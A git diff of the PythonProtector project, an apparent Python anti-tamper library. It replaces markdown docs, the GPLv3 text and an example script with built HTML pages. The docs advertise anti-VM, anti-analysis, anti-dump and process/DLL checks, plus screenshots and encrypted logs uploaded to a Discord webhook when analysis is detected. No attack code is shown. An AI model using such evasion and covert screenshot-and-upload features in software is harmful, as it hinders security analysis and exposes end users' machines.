-Returns The Current Users WMI Computer Object - -##### Type - -[`typing.Any`](https://docs.python.org/3/library/typing.html#the-any-type) - -## Extra Notes - -#### List of Valid Modules: - -```py -Modules: Final[Set[str]] = { - "Miscellaneous", - "AntiProcess", - "AntiDLL", - "AntiVM", - "AntiAnalysis", - } -``` - -#### List of Valid Detections: - -```py -Detections: Final[Set[str]] = {"Screenshot", "Exit", "Report"} -``` \ No newline at end of file diff --git a/docs/faq.md b/docs/faq.md deleted file mode 100644 index 2bff703..0000000 --- a/docs/faq.md +++ /dev/null @@ -1,5 +0,0 @@ -# FAQ - -## What is PythonProtector? - -Python Protector is a python library aimed at protecting your python program at runtime. \ No newline at end of file diff --git a/docs/index.md b/docs/index.md deleted file mode 100644 index 2cd8140..0000000 --- a/docs/index.md +++ /dev/null @@ -1,84 +0,0 @@ -# PythonProtector 🔒 - -![pyprotector](https://cdn.discordapp.com/attachments/1019356864548446269/1066498438386176102/image.png) - -[![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg)](https://www.python.org/) - -A modern, easy to use and feature-rich way to protect your Python Programs. - -## Features - -- Completely Configurable Module System -- Completely Configurable On Detection System -- Encrypted Logging System With Remote Uploading -- Discord Webhook Support -- Clean, Optimized Code -- Constant Updates - -## Installation - -**Python 3.11 or higher is required** - -Install The PyPi Version: - -```sh -py -3 -m pip install -U PythonProtector -``` - -You may also install the development version: -```sh -pip install git+https://github.com/xFGhoul/PythonProtector.git -``` - -## Usage - -Quick Example: -```py -from pathlib import Path -from threading import Thread - -from pyprotector import PythonProtector - -# -- Define Constants -LOGGING_PATH = ( - Path.home() / "AppData/Roaming/PythonProtector/logs/[Security].log" -) # -- This can be any path - -# -- Construct Class -security = PythonProtector( - debug=True, - modules=[ - "AntiProcess", - "AntiVM", - "Miscellaneous", - "AntiDLL", - "AntiAnalysis"], - logs_path=LOGGING_PATH, - webhook_url="", - on_detect=[ - "Report", - "Exit", - "Screenshot"], -) - -# -- Main Code -if __name__ == "__main__": - SecurityThread = Thread( - name="Python Protector", target=security.start - ) # -- Start Before Any Other Code Is Run - SecurityThread.start() - # Other Code -``` - -You can find more examples in the [examples](https://github.com/xFGhoul/PythonProtector/blob/dev/examples/) directory. - -## Files and Explanations - -`├──`[`.github`](https://github.com/xFGhoul/PythonProtector/blob/dev/.github) — GitHub configuration including CI/CD workflows
-`├──`[`.vscode`](https://github.com/xFGhoul/PythonProtector/blob/dev/.vscode) — VSCode Related Settings
-`├──`[`data`](https://github.com/xFGhoul/PythonProtector/blob/dev/data) — Data Files Needed By PythonProtector
-`├──`[`examples`](https://github.com/xFGhoul/PythonProtector/blob/dev/examples) — Examples Showing How To Use PythonProtector
-`├──`[`pyprotector`](https://github.com/xFGhoul/PythonProtector/blob/dev/pyprotector) — Source Code Of PythonProtector
-`├──`[`scripts`](https://github.com/xFGhoul/PythonProtector/blob/dev/scripts) — Scripts Used In The Development Process
- -> Made With ❤️ By `ghoul#1337` and `Marci#0101` \ No newline at end of file diff --git a/docs/installation.md b/docs/installation.md deleted file mode 100644 index 1a5da4b..0000000 --- a/docs/installation.md +++ /dev/null @@ -1,22 +0,0 @@ -# Installation - -## Getting Started - -You can add PythonProtector to your python project in a few easy steps. First of all, -install the dependency: - -### Default Dependency - -**Python 3.11 or higher is required** - -Install The PyPi Version: - -```sh -py -3 -m pip install -U PythonProtector -``` - -You may also install the development version: - -```sh -pip install git+https://github.com/xFGhoul/PythonProtector.git -``` \ No newline at end of file diff --git a/docs/license.md b/docs/license.md deleted file mode 100644 index f288702..0000000 --- a/docs/license.md +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/docs/release.md b/docs/release.md deleted file mode 100644 index 9f6cc0d..0000000 --- a/docs/release.md +++ /dev/null @@ -1,58 +0,0 @@ -## 1.0 - 2022-09-18 - -Release Initial Project - -## 1.1 - 2022-12-28 - -So It's been kind of a while since we released a new update, I had some pretty big stuff going on irl, no time to code, just recently came back and decided to make some updates. - -- Completely Configurable Module System - Users now have the choice of deciding what modules they use, currently there are only the main 4 me and marci provide, but we are open to pull requests and we will be adding more in the future, do check the repository or the example for more information. - -- `should_exit` argument - gives users the ability to decide if the program should exit if one of the detections were raised. - -- Overall Improvement/Refactoring - This update didn't bring everything me and marci are planning for, but this is just a couple, in the update I made to sure to cover some edge cases so you guys don't get confused - -## 1.5 - 2023-01-05 - -I know this is a pretty quick release, and the jump from `1.1` to `1.5` but I felt it was only necessary with the amount of changes made. - -### Major Changes: - -- **Encrypted Logging** - Instead of logs that anybody can read, logs are now encrypted at runtime and are only decrypted if malicious activity is detected - -- **AntiAnalysis** - Thanks to the work of Marci, a new module has been made!, this one comes with some pretty neat features, be sure to check it out - -- **New On Detection System** / `on_detect` - Similarly to the new configurable module system, I've gone ahead and done the same with what happens when malicious activity is detected, check out the examples for how it's used - -### Minor Changes - -- **Updated Minimum Python Requirement To 3.11** - -- **Refactoring and Misc Improvements** - -## 1.6 - 2023-01-07 - -Minor bump for `setup.py` bug that didn't allow importing. - -## 1.7 - 2023-01-25 - -### Major Changes - -- **Live Documentation** - Docs are now public at http://ghouldev.me/PythonProtector - -- **Event System** - Event System, see docs for more info - -### Minor Changes - -- **Miscellaneous Changes/Refactoring** - For A Better User Experience - -## 1.8 0 2023-02-11 - -### Major Changes - -- **Anti Dump** - New Anti Dump Module - -### Minor Changes - -- **Miscellaneous Changes/Refactoring** - For A Better User Experience -- **Bug Fixes** - Many Bug Fixes For Edge Cases \ No newline at end of file diff --git a/examples/protector.py b/examples/protector.py deleted file mode 100644 index 75961d0..0000000 --- a/examples/protector.py +++ /dev/null @@ -1,54 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -from pathlib import Path -from threading import Thread - -from pyprotector import PythonProtector - -# -- Define Constants -LOGGING_PATH = ( - Path.home() / "AppData/Roaming/PythonProtector/logs/[Security].log" -) # -- This can be any path - -# -- Construct Class -security = PythonProtector( - debug=True, - modules=[ - "AntiProcess", - "AntiVM", - "Miscellaneous", - "AntiDLL", - "AntiAnalysis", - "AntiDump", - ], - logs_path=LOGGING_PATH, - webhook_url="", - on_detect=["Report", "Exit", "Screenshot"], -) - -# -- Example Event - - -@security.event.obs.on("process_running") -def on_process_running(text: str, module: str, process) -> None: - print(f"{module} - {text}\nProcess Name: {process.name()}") - print(security.user) - # Free To Do Whatever You Want Here... - - -# -- Main Code -if __name__ == "__main__": - SecurityThread = Thread( - name="Python Protector", target=security.start - ) # -- Start Before Any Other Code Is Run - SecurityThread.start() - # Other Code diff --git a/faq/index.html b/faq/index.html new file mode 100755 index 0000000..be0f28c --- /dev/null +++ b/faq/index.html @@ -0,0 +1,968 @@ + + + + + + + + + + + + + + + + + + + + + + + + Frequently Asked Questions - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

FAQ

+

What is PythonProtector?

+

Python Protector is a python library aimed at protecting your python program at runtime.

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/docs/favicon.png b/favicon.png old mode 100644 new mode 100755 similarity index 100% rename from docs/favicon.png rename to favicon.png diff --git a/index.html b/index.html new file mode 100755 index 0000000..ee5fcac --- /dev/null +++ b/index.html @@ -0,0 +1,1074 @@ + + + + + + + + + + + + + + + + + + + + + + PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

PythonProtector 🔒

+

pyprotector

+

forthebadge made-with-python

+

A modern, easy to use and feature-rich way to protect your Python Programs.

+

Features

+
    +
  • Completely Configurable Module System
  • +
  • Completely Configurable On Detection System
  • +
  • Encrypted Logging System With Remote Uploading
  • +
  • Discord Webhook Support
  • +
  • Clean, Optimized Code
  • +
  • Constant Updates
  • +
+

Installation

+

Python 3.11 or higher is required

+

Install The PyPi Version:

+
py -3 -m pip install -U PythonProtector
+
+

You may also install the development version: +

